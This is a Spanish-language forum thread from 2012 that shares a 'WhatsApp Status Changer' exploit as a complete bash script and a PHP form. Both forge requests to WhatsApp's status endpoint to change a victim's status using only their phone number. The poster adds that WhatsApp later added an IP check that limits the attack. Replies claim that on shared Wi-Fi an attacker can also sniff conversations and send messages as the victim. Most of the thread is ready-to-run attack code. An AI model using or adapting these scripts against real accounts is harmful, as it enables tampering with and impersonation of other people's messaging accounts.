elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:22  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  WhatsApp Status Changer v0.2 Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: WhatsApp Status Changer v0.2 Exploit  (Leído 2,236 veces)
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 17.232


La libertad no se suplica, se conquista


Ver Perfil WWW
WhatsApp Status Changer v0.2 Exploit
« en: 20 Enero 2012, 23:10 »

Código
#!/bin/bash
#
# WhatsApp Status changer v0.2 stable
# A slim exploit able to change the WhatsApp
# user status in a remote way.
#
# This program is released under the terms of the GNU General Public License
# (GPL), which is distributed with this software in the file "COPYING".
# The GPL specifies the terms under which users may copy and use this software.
#
 
show_help(){
 echo ""
 echo " 2012 (C) WhatsApp-exp.sh - The Whats App Status Changer Exploit"
 echo ""
 echo " --usage    show the exploit Usage"
 echo " --credits  show the exploit Credits"
 echo " --help     show the Help"
 echo ""
 echo " enJoy"
}
 
show_credits(){
 echo ""
 echo " Emanuele Gentili"
 echo " http://www.emanuelegentili.eu"
 echo " eg @ offensive-security.it"
 echo ""
 echo " Stefano Fratepietro"
 echo " http://steve.deftlinux.net"
 echo " stefano @ deftlinux.net"
 echo ""
 
}
 
show_usage(){
 echo ""
 echo " 2012 (C) WhatsApp-exp.sh - The Whats App Status Changer Exploit"
 echo ""
 echo " usage $0 --countrycode 39 --mobilenum 3931212343 --text g0t p0wned"
 echo ""
 echo " enJoy"
}
 
 
# Bash
while [[ $# != 0 ]]; do
   arg_name=$1; shift
   case "$arg_name" in
     --help|-?|-h) show_help; exit 0;;
     --credits) show_credits; exit 0;;
     --usage) show_usage; exit 0;;
     --countrycode) countrycode=$1; shift;;
     --mobilenum) mobilenum=$2; shift;;
     --text) text=$3; shift;;
     *) echo "invalid option: $1"; show_help;exit 1;;
   esac
done
 
[ -z "$countrycode" ] && { show_help; exit 1; }
 
whatsAppagent="WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)"
 
wget --no-cache --delete-after --quiet --no-check-certificate --user-agent="$whatsAppagent" --post-data="cc=$countrycode&me=$mobilenum&s=$text" https://s.whatsapp.net/client/iphone/u.php
 
echo ""
echo "[+] Operazione completata."
echo ""


http://www.exploit-db.com/exploits/18396/

PHP

Código
<form method="post">
 
   <dl>
       <dt>Country code: (example: 31)</dt>
       <dd><input type="text" name="cc" value="31" /></dd>
       <dt>Phonenumber: (example: +31612345678)</dt>
       <dd><input type="text" name="n" value="+316" /></dd>
       <dt>New status:</dt>
       <dd><input type="text" name="m" /></dd>
       <dd><input type="submit" value="Change!" /></dd>
   </dl>
 
</form>
 
<?php
ini_set('display_errors',0);
error_reporting(E_ALL|E_STRICT);
 
if ( $_SERVER['REQUEST_METHOD'] === 'POST' )
{
   $url = 'https://s.whatsapp.net/client/iphone/u.php';
   $fields = array(
       'cc' => urlencode($_POST['cc']),
       'me' => urlencode($_POST['n']),
       's'  => urlencode(stripslashes(utf8_decode($_POST['m'])))
   );
 
   //url-ify the data for the POST
   foreach ($fields as $key=>$value) {
       $fields_string .= $key . '=' . $value . '&';
   }
   rtrim($fields_string, '&');
 
   //open connection
   $ch = curl_init();
 
   //set the url, number of POST vars, POST data
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_POST, count($fields));
   curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
   curl_setopt($ch, CURLOPT_USERAGENT, "WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)");
 
   //execute post
   $result = curl_exec($ch);
 
   //close connection
   curl_close($ch);
 
}
?>

Ya no funciona:

WhatsApp implemented an IP check – so this doesn’t work as well as it used to. The check entails checking if the update-request is for a WhatsApp account currently signed in, and checks if it is coming from the same IP as the target client is using. This means above could should still work for target WhatsApp users behind the same NAT (for example).

http://whatsappfail.net/index.php?option=com_content&view=article&id=2&catid=9&Itemid=121

http://www.wiretrip.org/2012/01/12/how-whatsappstatus-net-works/
« Última modificación: 20 Enero 2012, 23:44 por el-brujo » En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: WhatsApp Status Changer v0.2 Exploit
« Respuesta #1 en: 21 Enero 2012, 04:42 »

Con tantos usuarios usando whatapp en la misma Wifi todavia es posible. Asi mismo es posible sniffear sus conversaciones y enviar mensajes con su mismo usuario.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
d3xf4ult

Desconectado Desconectado

Mensajes: 259


ZonaSystem.com


Ver Perfil WWW
Re: WhatsApp Status Changer v0.2 Exploit
« Respuesta #2 en: 24 Enero 2012, 09:03 »

Con tantos usuarios usando whatapp en la misma Wifi todavia es posible. Asi mismo es posible sniffear sus conversaciones y enviar mensajes con su mismo usuario.

Saludos

Pero no era que a partir de la versión 2.6 o 2.7.1528 (creo que es la actual) WhatsApp cifra las conexiones. De hecho lo podeis comprobar:
Conectar el móvil al PC si los historiales de conversaciones y contactatos se guardan en la memoria microSD ir a: WhatsApp\Databses\ y ahí lod ficheros ".db.crypt".
Intentar abrirlos con SQLIte, por ejemplo, y nada... las conversaciones, números y contactos están cifrados. Con lo cual, ya no podemos enviar mensajes con el mismo usuario (aunque esto no estoy seguro... por que nosé si podrás capturar paquetes snifados, modificarlos y volver injectarlos) y capturar tráfico se captura pero cifrado.

Alguién sabe que tipo de cifrado utiliza?

-Saludos-
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con Icon Changer...
Programación C/C++
Tughack 0 345 Último mensaje 27 Abril 2008, 05:57
por Tughack
Msn Statuz Changer, Primera creacion con la Msn Api...!!! xDD
.NET
Braayhaan 8 1,672 Último mensaje 21 Septiembre 2009, 03:05
por Braayhaan
ayuda con el Windows XP CD Key Changer
Windows
el mati 3 2,335 Último mensaje 16 Junio 2010, 18:17
por heaviloto
Mac changer para windows vista
Software
martim 0 1,629 Último mensaje 16 Enero 2011, 13:10
por martim
WhatsApp de nuevo fuera de servicio. Alternativas a WhatsApp
Noticias
wolfbcn 4 2,028 Último mensaje 18 Octubre 2011, 00:00
por Sorke
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines